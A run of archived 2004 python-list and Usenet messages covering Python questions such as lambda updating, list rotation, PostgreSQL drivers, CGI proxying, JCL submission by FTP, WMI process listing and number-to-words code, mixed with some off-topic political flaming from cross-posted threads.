p.s. The four segments were text, data, "extra", and stack, equally
dividing the virutual address space, with the limits growing up from
the beginning of the segment for text & data and down from the end
for "extra" and stack. [In case you're wondering, "extra" was used
for various & sundry purposes: System-V shmem; for mapping /dev/mem
or /dev/kmem for kernel debugging; mapping hardware into user-mode
drivers; and similar stunts.]

-----
Rob Warnock			<rpw3 at rpw3.org>
627 26th Avenue			<URL:http://rpw3.org/>
San Mateo, CA 94403		(650)572-2607



From blr at drizzle.com  Fri Sep 10 15:47:42 2004
From: blr at drizzle.com (Brian Raiter)
Date: Fri, 10 Sep 2004 19:47:42 +0000 (UTC)
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
Message-ID: <cht0cu$79m$1@drizzle.com>

Holy cow. Can you folks possibly stop cross-posting this
multi-tentacled leviathan of a thread to five different newsgroups?

b


From maney at pobox.com  Sun Sep 19 10:56:57 2004
From: maney at pobox.com (Martin Maney)
Date: Sun, 19 Sep 2004 14:56:57 +0000 (UTC)
Subject: So I guess PyUI is long abandonded? What else is there?
References: <cihu17$c4b$1@wheel2.two14.net>
	<mailman.3485.1095541276.5135.python-list@python.org>
Message-ID: <cik6np$994$2@wheel2.two14.net>

Carlos Ribeiro <carribeiro at gmail.com> wrote:
> stable stage. The win32 ZIP file that I've downloaded does not contain
> any windows specific dll, pyd or exe file, but only pure Python code.

Sorry, 100% Python code is no more inherently portable than 100% C
code.  It's avoiding non-portable libraries and etc. that make the
difference in both cases.

> Are your sure that it will not work for you? What is the latest
> version you tried?

See longer reply in this thread, and yes, I'm sure it would be like
pissing into the wind... the wind along the Gulf coast last week.  :-(

-- 
I didn't write a whole, free operating system, either.  I wrote some pieces
and invited other people to join me by writing other pieces.  So I set an
example.  I said, "I'm going in this direction.  Join me and we'll get
there." And enough people joined in that we got there.  -- R M Stallman


From tim.peters at gmail.com  Sun Sep  5 17:59:02 2004
From: tim.peters at gmail.com (Tim Peters)
Date: Sun, 5 Sep 2004 17:59:02 -0400
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
	<59e9fd3a04090307154bfd6fd8@mail.gmail.com>
	<mailman.2838.1094223946.5135.python-list@python.org>
	<1gjjy5c.k1wnvwp3qfnpN%aleaxit@yahoo.com>
	<864d370904090413356356d84d@mail.gmail.com>
	<mailman.2905.1094405220.5135.python-list@python.org>
	<7GL_c.8254$w%6.2854@newsread1.news.pas.earthlink.net>
Message-ID: <1f7befae04090514595977db02@mail.gmail.com>

[Andrew Dalke]
> ...
> With generators becoming more common it's been easier
> for me to remember that list() is the appropriate solution.
>
>   "There should be one -- and preferably only one --
>      obvious way to do it."
>
> Does that suggest that we should have had list() +
> generator comprehensions and not have list comprehensions?

Yup!  Don't try to horn in on my lucrative channelling business, but
Guido has already said that's The Plan for Python 3000.  Historically,
listcomps got in before generators (let alone gencomps), and I think
Guido must have misplaced one of the time machine power cells during
his move to California.


From cbfalconer at yahoo.com  Wed Sep  8 13:59:40 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Wed, 08 Sep 2004 17:59:40 GMT
Subject: Xah Lee's Unixism
References: <YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
Message-ID: <413F43AC.9D2088AF@yahoo.com>

jmfbahciv at aol.com wrote:
> Alan Balmer <albalmer at att.net> wrote:
>> CBFalconer <cbfalconer at yahoo.com> wrote:
>>> Alan Balmer wrote:
>>>>
>>>... snip ...
>>>>
>>>> I'm not a fan of Mr Hatch, but blaming him for the shuttle
>>>> disaster(s) is somewhat over the top. Why not blame President
>>>> Bush? That's the popular thing nowadays.
>>>
>>> Alright, if you insist.  But is it really necessary?  We can find
>>> adequate charges without reaching very hard.
>>
>> Then why are so many people reaching so hard?
> 
> It's apparently having the desired effect.  The subject of
> the radio talk show last night was about the results of a poll
> where 41% of the people asked (New York state residents) believed
> that Bush and Co. knew that the WTC was going to be attacked and
> did nothing to prevent it.  The Bush-bashing is working.  The
> Democrats are opening the city gates to the barbarians.

I deplore your tast in radio talk shows.  It doesn't take much to
create a rabble rousing poll to increase ratings.

There is no need, nor cause, to impute Bush & Co. with
intrinsically evil intentions.  It is quite enough to point to
their lack of capability, and bull headed 'revenge for daddy'
propensities.  The state of the economy, unemployment, poverty
rate, medical care, deficit, death rate in Iraq (both of Americans
and Iraqis), abandonment of the Bin Laden hunt, abridgement of
civil liberties (as in the Patriot Act and the Gitmo gulag), poor
choice of companions (Halliburton and other political donors and
trough feeders, and the 'plausible deniability' of the Swiftboat
gang), irritation of allies, inability to deal with North Korea
(due to involvement with useless adventures), abandonment of
efforts towards a Palestinian peace, all spring to immediate mind.

Yes, we have had no experience with a Kerry administration, but we
have had far too much experience with a Bush administration.

-- 
"I'm a war president.  I make decisions here in the Oval Office
 in foreign policy matters with war on my mind." -         Bush.
"If I knew then what I know today, I would still have invaded
 Iraq. It was the right decision" -       G.W. Bush, 2004-08-02




From michele.simionato at gmail.com  Thu Sep 23 09:40:47 2004
From: michele.simionato at gmail.com (Michele Simionato)
Date: 23 Sep 2004 06:40:47 -0700
Subject: for_some(), for_all()?
References: <opseqmpvg86yt6e7@news.cisco.com>
	<cisc33$hpi$1@pegasus.csx.cam.ac.uk> <2Pt4d.5569$sa.1897@trndny05>
Message-ID: <4edc17eb.0409230540.624e463a@posting.google.com>

"Raymond Hettinger" <vze4rx4y at verizon.net> wrote in message news:<2Pt4d.5569$sa.1897 at trndny05>...
> >
> > http://www.python.org/doc/current/lib/itertools-example.html
> >
> >  >>> import itertools, timeit, operator
>  
> >  >>> def any(seq, pred=bool):
> > ...     "Returns True if pred(x) is True at least one element in the
> > iterable"
> > ...     return True in imap(pred, seq)
> 
> I chose that one for the docs because it gave the best balance of clarity and
> speed.
> 

I always wondered why "any" and "all" are given as recipes but are not
part of the itertools module. What is the rationale? 
I think they are so common that they deserve to be in the module.
At least, we would have standard names.


                     Michele Simionato


From olli at haluter.fromme.com  Thu Sep 16 10:07:20 2004
From: olli at haluter.fromme.com (Oliver Fromme)
Date: 16 Sep 2004 14:07:20 GMT
Subject: "Updating" lambda functions
Message-ID: <2qtl0oF139gn6U1@uni-berlin.de>

Hi,

I'm trying to write a Python function that parses
an expression and builds a function tree from it
(recursively).

During parsing, lambda functions for the the terms
and sub-expressions are constructed on the fly.
Now my problem is lazy evaluation.  Or at least I
think it is.  :-)

I need to "update" a lambda function, like this:

        fu = lambda x: x
        ...
        fu = lambda x: fu(x) + 17
        ...
        fu = lambda x: fu(x) * 3

Of course that doesn't work, because fu is resolved
when the lambda is called, not when it's defined, so
I'll run into an endless recursion.

My current solution is to define a helper function
which passes the lambda through its argument:

        def add_17 (fu):
                return lambda x: fu(x) + 17

        def mul_3 (fu):
                return lambda x: fu(x) * 3

        fu = lambda x: x
        ...
        fu = add_17(fu)
        ...
        fu = mul_3(fu)

That works, but it strikes me as unclean and ugly.
Is there a better way to do it?

Best regards
   Oliver

-- 
Oliver Fromme, Konrad-Celtis-Str. 72, 81369 Munich, Germany

``All that we see or seem is just a dream within a dream.''
(E. A. Poe)


From ljelmore_ at _comcast_._net  Fri Sep  3 22:32:49 2004
From: ljelmore_ at _comcast_._net (Larry Elmore)
Date: Sat, 04 Sep 2004 02:32:49 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <ii8_c.17015$aB1.9921@twister.socal.rr.com>
References: <YLednXSn7obciqrcRVn-og@powergate.ca>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
	<8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>
	<3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<vG6_c.16947$aB1.13654@twister.socal.rr.com>
	<bluhj0p6rvrmdrftvrsno9e8vis6mfgvp3@4ax.com>
	<ii8_c.17015$aB1.9921@twister.socal.rr.com>
Message-ID: <lP9_c.123404$mD.5253@attbi_s02>

Gary Schenk wrote:
> In comp.lang.perl.misc Alan Balmer <albalmer at att.net> wrote:
> 
>>On Fri, 03 Sep 2004 22:58:35 GMT, gwschenk at fuzz.socal.rr.com (Gary
>>Schenk) wrote:
>>
>>
>>>In comp.lang.perl.misc Alan Balmer <albalmer at att.net> wrote:
>>><snip>
>>>
>>>>I'm not a fan of Mr Hatch, but blaming him for the shuttle disaster(s)
>>>>is somewhat over the top. Why not blame President Bush? That's the
>>>>popular thing nowadays.
>>>>
>>>
>>>IIRC, the vice-president is in charge of the space program, so shouldn't
>>>President Bush accept some blame?
>>
>>The Vice President isn't "in charge" of the space program, except for
>>Al Gore, who probably invented it.
>>
> 
> 
> Don't you dittoheads ever get your facts right?
> 
> http://www.jfklibrary.org/images/jfk-lbj01.jpg
> 
> http://www.americaslibrary.gov/cgi-bin/page.cgi/jb/modern/launch_1
> 
> http://www.thespacereview.com/article/163/1
> 
> 
>>The shuttles were designed and built some considerable time before
>>Bush became President.
>>
> 
> 
> True, although the first shuttle flight was in 1981, while Bush was vice-
> president.
> 
> As the above references show, Bush was not head of the space council
> as Reagan was not a fan. Bush was busy selling anthrax and missiles
> to Iran and Iraq.
> 
> 
>>Good try, though, the DNC would be proud.
>>
> 
> 
> I doubt it.

Well, I would hope not. You're even contradicting yourself in the same 
post, while at the same time admitting that your references don't 
support you. Must've skipped those classes in logic, huh?

--Larry


From matt at pollenation.net  Fri Sep 10 04:20:38 2004
From: matt at pollenation.net (Matt Goodall)
Date: Fri, 10 Sep 2004 09:20:38 +0100
Subject: Postgresql - Preferred Python Library
In-Reply-To: <Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116>
References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
	<Xns956056239FAF1cpl19ghumspamgourmet@195.20.224.116>
Message-ID: <1094804438.20733.27.camel@debian>

On Fri, 2004-09-10 at 06:28 +0000, Harald Massa wrote:
> > I have noticed that there are a numbe rof client libraries for
> > connecting to Postgres.
> > Can anyone tell me what is the recommended Python library for database
> > connections

I've just started experimenting with psycopg2
(http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good.

As far as I know, psycopg2 is the only DB-API 2.0 implementation for
PostgreSQL that uses Python 2.3's datetime types by default. In fact, I
think it supports *all* native Python types that have a corresponding
database type. For me, this makes a big difference. I find moving data
from RDBMS to application to RDBMS quite irritating and it just makes
matters worse when I have to convert between data types too.

Assuming I don't come across any serious issues, I will be using
psycopg2 from now on.

(I also use dateutil, <https://moin.conectiva.com.br/DateUtil>, which
extends datetime with lots of useful stuff. So useful, it should
probably be part of the standard library.)

> 
> I recommend pyPgSQL - http://pypgsql.sourceforge.net/
> 
> it gives you high level (DBAPI2) and if you wish also low level access 
> (libpq)
> 
> Twisted seems to use it, to.

Twisted's adbapi will use any DB-API 2.0 implementation with a
threadsafety level of 1 or greater. I have tested one application with
pypgsql, pygresql, psycopg and psycopg2. Twisted was happy with all of
them, although differences in how python and column types are handled
means the application code is not necessarily portable by default.

See <http://twistedmatrix.com/documents/current/howto/enterprise> for
more information on using an RDMBS from a Twisted application.

Cheers, Matt

-- 
     __
    /  \__     Matt Goodall, Pollenation Internet Ltd
    \__/  \    w: http://www.pollenation.net
  __/  \__/    e: matt at pollenation.net
 /  \__/  \    t: +44 (0)113 2252500
 \__/  \__/
 /  \          Any views expressed are my own and do not necessarily
 \__/          reflect the views of my employer.



From exarkun at divmod.com  Fri Sep  3 10:54:03 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Fri, 03 Sep 2004 10:54:03 -0400
Subject: print with no newline
In-Reply-To: <2prebbFo67agU1@uni-berlin.de>
References: <2prasrFo4rruU1@uni-berlin.de>	<mailman.2834.1094220495.5135.python-list@python.org>
	<2prebbFo67agU1@uni-berlin.de>
Message-ID: <4138858B.6040501@divmod.com>

Paul Watson wrote:
> "Jp Calderone" <exarkun at divmod.com> wrote in message
> news:mailman.2834.1094220495.5135.python-list at python.org...
> 
>>Paul Watson wrote:
>>
>>>I thought that using a comma at the end of a print statement would
> 
> suppress
> 
>>>printing of a newline.  Am I misunderstanding this feature?  How can I
> 
> use
> 
>>>print and not have a newline appended at the end?
>>>
>>
>>   Print doesn't want to leave the *final* line without a newline.
>>sys.stdout.write() doesn't care if your shell prompt gets mixed in with
>>the last line of output.  You'll need to use the latter if that's what
>>you want.
>>
>>exarkun at boson:~$ python -c "import sys; sys.stdout.write('here')"
>>hereexarkun at boson:~$
>>
>>   Jp
> 
> 
> Ok, I can use sys.stdout.write().  Still, this comma at the end thing does
> not seem very consistent.  Before the last line, while it does suppress the
> newline, a space is still added to the output.  Why is that?  Yes, I have
> seen spaces added between items in the print statement and, while it is
> probably convenient at times, is frequently an annoyance.

   Basically, print is only meant to help people new to the language get 
started ;)  It often does what will make life easiest for someone who is 
just getting into things, but which is otherwise confusing, expected, 
special-casey, or otherwise undesirable.  I mean, the whole existence of 
the keyword "print" is an inconsistency, right?  One could quite 
reasonably expect print to be a function.

   Jp


From fumanchu at amor.org  Wed Sep 15 18:26:07 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 15 Sep 2004 15:26:07 -0700
Subject: Rotating lists?
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EDE@exchange.hqamor.amorhq.net>

Ivan Voras wrote:
> I need to transform this:
> 
> [1,2,3]
> 
> into this:
> 
> [2,3,1]
> 
> (a left-rotation. Actually, any rotation will do).
> 
> I tried:
> 
> a = a[1:] + a[0]
> 
> which doesn't work because there's no __add__ between a list and 
> integer, and:
> 
> a = a[1:].append(a[0])
> 
> but it doesn't work, since append returns None :( Right now, 
> I'm doing 
> it with a temporary variable and it looks ugly - is there an 
> elegant way 
> of doing it?

Odd that you would use a slice for only half of it. Did you try:

>>> def rotleft(seq):
... 	return seq[1:] + seq[:1]
... 
>>> rotleft([1,2,3])
[2, 3, 1]

? There are issues with such a simple function (mostly how to deal with
corner cases), but that should be the piece you're missing.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org


From fuzzyman at gmail.com  Mon Sep 13 08:53:18 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 13 Sep 2004 05:53:18 -0700
Subject: CGI.FieldStorage to HTML
References: <41454367$0$22811$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
Message-ID: <6f402501.0409130453.224c2c58@posting.google.com>

"Graeme Matthew" <graeme.matthew at contrado.com.au> wrote in message news:<41454367$0$22811$5a62ac22 at per-qv1-newsreader-01.iinet.net.au>...
> Hi all
> 
> I do a CGI post, I am using CGI.FieldStorage(), I obtain the values etc al 
> works fine.
> 
> I now need to take the same posted data and resubmit it to a remote server 
> i.e I need to rebuild the entire raw html request.
> 
> Does anyone know if you can retrieve the entire request string before 
> parsing it via the cgi module? and then resubmit this to another server?
> 
> 
> Cheers
> 
> Graeme

Before I waffle - os.environ['QUERY_STRING'] is probably the answer
you want !!

I've been implementing a cgi proxy recently which does exactly this.
Unfortunately I haven't been able to find a way to get the entire http
request and just proxy that because the server 'parses' it puts a lot
of it into the environment. (For example any authentication headers
it's impossible to retrieve from the CGI environment).

I'm doing just what you said though and rebuilding the request from
the FieldStorage and environment variables. At the moment I'm only
proxying the User-Agent headers, although I might do a few more later
though (HTTP_REFFERER etc). You can see where I've got to with
http://www.voidspace.org.uk/atlantibots/pythonutils.html#cgiproxy

Doing 'GET' method requests is *easy*. Rebuilding 'POST' method
requests is a bit more complicated. The code I have so far will do all
requests except file uploads (I'm working on at the moment - will be
ready soon) and I haven't tested it with list values (might work...
might not). I've also just got my head around authentication (error
401 BASIC authentication and am half way through writing the code to
implement it).

Something you might find useful is my http_test.py CGI. This shows you
all the environment variables etc when you fetch a url - useful for
working out what information you have available to you. (See
http://www.voidspace.org.uk/atlantibots/recipebook.html#http I *think*
- which also has a demo online).

The following chunk of code shows you which environemnt variable to
use to get the query string from 'GET' type requests.

        if os.environ.get('REQUEST_METHOD','').lower()=='post':       
 # do something with post data
            thedata = fullparse(form)
            from urllib import urlencode
            txdata = urlencode(thedata)                         #
straightforward encode - need to test for/allow multipart form data
(file upload) and list types
        elif os.environ.get('QUERY_STRING', '') and not
data['id']=='mjf-approx':
            theurl = theurl + '?' + os.environ['QUERY_STRING']
        txheaders = getheaders(txheaders)              # proxy as many
of the headers as we can


don't worry about most of the code - but the following :
if os.environ.get('REQUEST_METHOD','').lower()=='get':
    querystring = os.environ.get('QUERY_STRING', '')

should do most of what you need...........
(os.environ is a dictionary containing the environment variables).

Regards,

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From aahz at pythoncraft.com  Tue Sep  7 18:30:31 2004
From: aahz at pythoncraft.com (Aahz)
Date: 7 Sep 2004 18:30:31 -0400
Subject: Automated Perl to Python translation?
References: <b16e4ef7.0409040550.4432a70f@posting.google.com>
	<6e07b825.0409052154.7a654c12@posting.google.com>
Message-ID: <chlcq7$j23$1@panix2.panix.com>

In article <6e07b825.0409052154.7a654c12 at posting.google.com>,
yaipa h. <yaipa at yahoo.com> wrote:
>
>don't know but there is a book out.
>   Perl to Python Migration
>     by Martin C. Brown 

Not particularly useful.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"A foolish consistency is the hobgoblin of little minds, adored by little
statesmen and philosophers and divines."  --Ralph Waldo Emerson


From janimal at mail.trillegaarden.dk  Tue Sep 28 18:12:30 2004
From: janimal at mail.trillegaarden.dk (Ling Lee)
Date: Wed, 29 Sep 2004 00:12:30 +0200
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<ZJadnSMpP7XiCsTcRVn-oA@comcast.com>
Message-ID: <4159e1a1$0$23084$ba624c82@nntp05.dk.telia.net>

Thanks for all your help, I really appreciate it, its very interesting to 
start programming but at times a bit confusing :D
I read all your input, and clap my hands for this friendly newsgroup :D

Stay safe....


"Larry Bates" <lbates at syscononline.com> wrote in message 
news:ZJadnSMpP7XiCsTcRVn-oA at comcast.com...
> Ling Lee wrote:
>> Hello.
>>
>> I'm trying to write a small program that lets you put in a number as an 
>> integer and then it tells you the textuel representation of the number.
>>
>> Like if your input is 42, it will say four two.
>>
>> I found out that I have to make a dictionary like this: List = { 1:"one", 
>> 2:"two" and so on )
>>
>> and I have to use the raw_input method to get the number:
>>
>> indput : raw_input(" Tell me the number you want to transform to textuel 
>> representaion")
>>
>> The I have to transform the input to a string
>> indput = str(indput)
>>
>> so that I can count how many decimals the number has, like 23 has 2 
>> decimals and 3000 has 4 decimals.
>>
>> After I have gotten the lenght of the string, I will write a loop, that 
>> goes through the dictionary as many times as the lengt of the string, and 
>> the gives me the corresponding numbers, the numner 21 would go 2 times 
>> through the loop and give me the output two one
>>
>> Will one of you be so kind and tell me how I count the lengt of the 
>> indput number i was thinking on something like input.count[:] but that 
>> dosnt work...
>>
>>  and how I make the loop.
>>
>>  Im trying to understand dictionaries but have gotten a bit stuck...
>>
>> Thanks for all replies....
>>
>>
>>
> Here's an example of what you want:
>
> """ Just run it, you'll see what it does.
>
> This code is released into the public domain absolutely free by 
> http://journyx.com
> as long as you keep this comment on the document and all derivatives of 
> it.
>
> """
>
> def getfractionwords(num):
>         frac = num-int(num)
>         numstr = str(int(frac*100+.5))
>         if len(numstr) == 1:
>                 numstr = '0'+numstr
>         fracstr = ' and ' + numstr + '/100'
>         return fracstr
>
> def convertDigit(digit):
>         digits = ('', 'One', 'Two', 'Three', 'Four', 'Five', 'Six', 
> 'Seven', 'Eight', 'Nine')
>         return digits[int(digit+.5)]
>
> def breakintochunks(num):
>         (left,right) = breakintwo(num)
>         rv = [right]
>         while left > 999:
>                 (left,right) = breakintwo(left)
>                 rv.append(right)
>         rv.append(left)
>         rv.reverse()
>         return rv
>
> def breakintwo(num):
>         leftpart = int(num/1000.0)+0.0
>         rightpart = 1000.0*(num/1000.0 - leftpart)
>         return (int(leftpart+.5),int(rightpart+.5))
>
> def enties(num):
>         tens = ('','','Twenty' ,'Thirty', 'Forty', 'Fifty', 'Sixty',
>                 'Seventy', 'Eighty', 'Ninety')
>         indx = int(num/10.0)
>         return tens[indx]
>
> def convert2digit(num):
>         teens = ('Ten', 'Eleven', 'Twelve', 'Thirteen', 'Fourteen',
>                  'Fifteen', 'Sixteen', 'Seventeen', 'Eighteen', 
> 'Nineteen')
>         if num < 10:
>                 return convertDigit(num)
>         if num <20:
>                 return teens[num-10]
>         if num > 19:
>                 tens = enties(num)
>                 ones = convertDigit(10*(num/10.0-int(num/10.0)))
>                 if ones:
>                         rv= tens+'-'+ones
>                 else:
>                         rv=tens
>                 return rv
>
> def convert3digit(num):
>         threenum = str(num)
>         ln = len(threenum)
>         if ln==3 :
>                 a= convertDigit(int(threenum[0]))
>                 b= ' Hundred '
>                 c=     convert2digit(int(threenum[1:]))
>                 return a+b+c
>         if ln<3 :
>                 return convert2digit(int(threenum))
>         raise 'bad num',num
>
> def num2words(num):
>         thousandchunks = breakintochunks(int(num))
>         rv = ' '
>         if num >= 1000000:
>                 rv=rv+ convert3digit(thousandchunks[-3])+ ' Million '
>         if num >= 1000:
>                 c3d= convert3digit(thousandchunks[-2])
>                 if c3d:
>                         rv=rv+ c3d+ ' Thousand '
>         rv = rv + convert3digit(thousandchunks[-1])+ getfractionwords(num)
>         return squishWhiteSpace(rv)
>
> def squishWhiteSpace(strng):
>         """ Turn 2 spaces into one, and get rid of leading and trailing
>             spaces. """
>         import string,re
>         return string.strip(re.sub('[ \t\n]+', ' ', strng))
>
> def main():
>         for i in range(1,111,7):
>                 print i,num2words(i)
>
>         for i in (494.15, 414.90, 499.35, 400.98, 101.65, 110.94, \
>                   139.85, 12349133.40, 2309033.75, 390313.41, 99390313.15, 
> \
>                   14908.05, 10008.49, 100008.00, 1000008.00, 100000008.00, 
> \
>                   14900.05, 10000.49, 100000.00, 1000000.00, 100000000.00, 
> 8.49):
>                 print i,num2words(i)
>
>         import whrandom
>         for i in range(33):
>                 num = whrandom.randint(1,999999999) + 
> whrandom.randint(1,99)/100.0
>                 print num,num2words(num)
>
> if __name__ == '__main__':
>         main() 




From clifford.wells at comcast.net  Thu Sep 16 18:58:17 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Thu, 16 Sep 2004 15:58:17 -0700
Subject: wxPython Not Ready for Commercial Use
In-Reply-To: <1gk8bjf.zfmy6fh6vv7nN%aleaxit@yahoo.com>
References: <dcf37d82.0409160827.1de98db9@posting.google.com>
	<1gk8bjf.zfmy6fh6vv7nN%aleaxit@yahoo.com>
Message-ID: <1095375497.31957.135.camel@devilbox.devilnet.internal>

On Thu, 2004-09-16 at 23:33 +0200, Alex Martelli wrote:

> If wxPython has problems they lie elsewhere... I was just trying to
> install bittorrent on a Linux box tonight, and bittorrent requires
> wxPython, so I _did_ just go through the very messy and lengthy build
> process (./configure-make-sudo make install only does the wxWidgets
> part, then you have to edit config.py before you run python setup.py to
> build -- and the docs explaining this are quite lengthy)... only to find
> in the end that bittorrent just doesn't like the current release of
> wxPython, crashing loudly pretty soon.  I guess incompatible changes
> have been made, or programming errors, or something.  Guess I should try
> again with another, older, stable release of wxPython, but it's a bit
> late to restart tonight.

Most likely it requires wxPython 2.4.x.  2.5.x, while recommended, is
considered the development branch and there have been a few incompatible
changes made (although most of them can be easily worked around iirc.

Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From listserver at tdw.net  Tue Sep 21 18:07:15 2004
From: listserver at tdw.net (Tim Williams)
Date: Tue, 21 Sep 2004 23:07:15 +0100
Subject: OT: regex to find email
Message-ID: <000901c4a027$5aa5f1d0$ccbefea9@twilliams>


"Jorgen Grahn" <jgrahn-nntq at algonet.se> wrote in message
news:<slrncl18gl.s1l.jgrahn-nntq at frailea.sa.invalid>...
> On Tue, 21 Sep 2004 10:03:03 -0500, Josh Close <narshe at gmail.com> wrote:
> > I've been trying to find a good regex to parse emails, but haven't
> > found any to my liking. I basically need to have
> >
> > ( r'[a-z0-9\.\-\_]@[a-z0-9\.\-\_]', re.IGNORECASE )
> >
> > but the first part can't start with .-_ and the last part has to have
> > a . in it (first/last being before/after the @).
>
> I've seen no references to RFC 2822 in this thread ... please note that
what
> all these regexes catch is unlikely to be exactly the set of all valid RFC
> 2822 addresses.
>
> A quick look suggests (among other things) that addresses may start with
'-'
> or '_' and /lots/ of other characters, and the domain part does not (of
> course) need to contain a '.'.
>
> People get more than annoyed when some input form tells them that their
> email address is invalid ...

Absolutely,   rfc2822 supercedes rfc822,  and its rules should be what you
base your regex on.

I also believe any character is valid in the user part as long as its within
"...." ,  and that the user part can be 1char or longer.



From chrisNOSPAM at spam.com  Mon Sep 13 09:41:22 2004
From: chrisNOSPAM at spam.com (Chris)
Date: Mon, 13 Sep 2004 15:41:22 +0200
Subject: launching JCL on MVS
References: <1095065818.428799@ftpgate>
	<mailman.3230.1095079924.5135.python-list@python.org>
Message-ID: <1095082883.249188@ftpgate>

Thanks, but what does it do? Upload test.jcl and execute it?
Let's say that I already have a "TEST" JCL on the HOST, how can I execute it
via an FTP command?

Chris

"Jaime Wyant" <programmer.py at gmail.com> a ?crit dans le message de news:
mailman.3230.1095079924.5135.python-list at python.org...
> Disclaimer - I've never used ftplib, so the code below hasn't actually
> been tested..
>
> First, create some JCL.  For this example assume it is test.jcl and it
> is in the CWD.
>
> # Connect to the server
> >>> from ftplib import FTP
> >>> ftp = FTP("hostname")   # connect to host, default port
> >>> ftp.login("username", "password")
>
> # Tell the server you're about to send it some JCL to execute
> >>> ftp.voidcmd( "quote site file=JES" )
>
> # Upload the JCL
> >>> print ftp.storlines( "STOR", file("test.jcl") )
>
> The last command ought to print ought the Job ID (and a few other things).
>
> Good luck and let me know if that works for you.  Also, some of those
> methods will raise exceptions if something goes wrong.  Check out
> ftplib.py for good documentation.
>
> jw
>
> On Mon, 13 Sep 2004 10:56:57 +0200, Chris <chrisnospam at spam.com> wrote:
> > Is it possible to use Python to launch JCL jobs on an IBM MVS HOST
(OS390) ?
> >
> > --
> > http://mail.python.org/mailman/listinfo/python-list
> >




From unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom  Thu Sep 30 07:54:55 2004
From: unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom (=?iso-8859-1?Q?Michel_Claveau_-_abstraction_m=E9ta-galactique_non_trivial?= =?iso-8859-1?Q?e_en_fuite_perp=E9tuelle.?=)
Date: Thu, 30 Sep 2004 13:54:55 +0200
Subject: Test html
Message-ID: <415bf448$0$21152$8fcfb975@news.wanadoo.fr>

Bonjour !
Hi ! 

Juste un test de message en HTML, dans usenet.
Try HTML in usenet.




Mini-script python  (print process / win32) : 
  import win32com.client

  wmihandle = win32com.client.GetObject('winmgmts:')
  process_list = wmihandle.ExecQuery('Select * from Win32_Process')
  for p in process_list:
      detail=p.GetObjectText_().split('\n')
      for ligne in detail:
          if ligne[0:1]!='{' and ligne[0:1]!='}':
              l=ligne.split('=')
              if len(l)>=2:
                  item=l[0][1:-1]
                  valeur=l[1][2:-2]
                  print item,"=",valeur
      print"-"*70

@-salutations
-- 
Michel Claveau
m?l : http://cerbermail.com/?6J1TthIa8B 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040930/1e7ed063/attachment.html>

From exarkun at divmod.com  Fri Sep  3 10:05:43 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Fri, 03 Sep 2004 10:05:43 -0400
Subject: What about an EXPLICIT naming scheme for built-ins?
In-Reply-To: <864d370904090306333b53ef56@mail.gmail.com>
References: <opsdq5katd35jo5o@news.gmane.org>
	<864d370904090306333b53ef56@mail.gmail.com>
Message-ID: <41387A37.9000805@divmod.com>

Carlos Ribeiro wrote:
> Mostly agreed. There is an inconsistence, as sorted() and reversed()
> should return both the same type of result - be it a sequence or a
> iterator.
> 
> I propose a slightly different approach. First, proposing a generic
> naming scheme for built-ins is an ambitious goal, to say the least. I
> suggest to keep the focus on this particular issue, if only to avoid a
> lot of debate and flaming. So -- keeping in mind my own suggestion --
> I would like to focus on the particular case at hand:
> 
> 1) sorted() and reversed() should return sequences. So sorted() stays
> like it, and reversed() meaning is changed. Now, that could
> potentially break a lot of code, but probably this is not going to
> happen -- because in most situations, reversed() is getting called

   They are new.  There is no reason to worry about breaking 
compatibility.  Why sequences and not iterators?  I would prefer the 
latter, and it is in keeping with many other recent language 
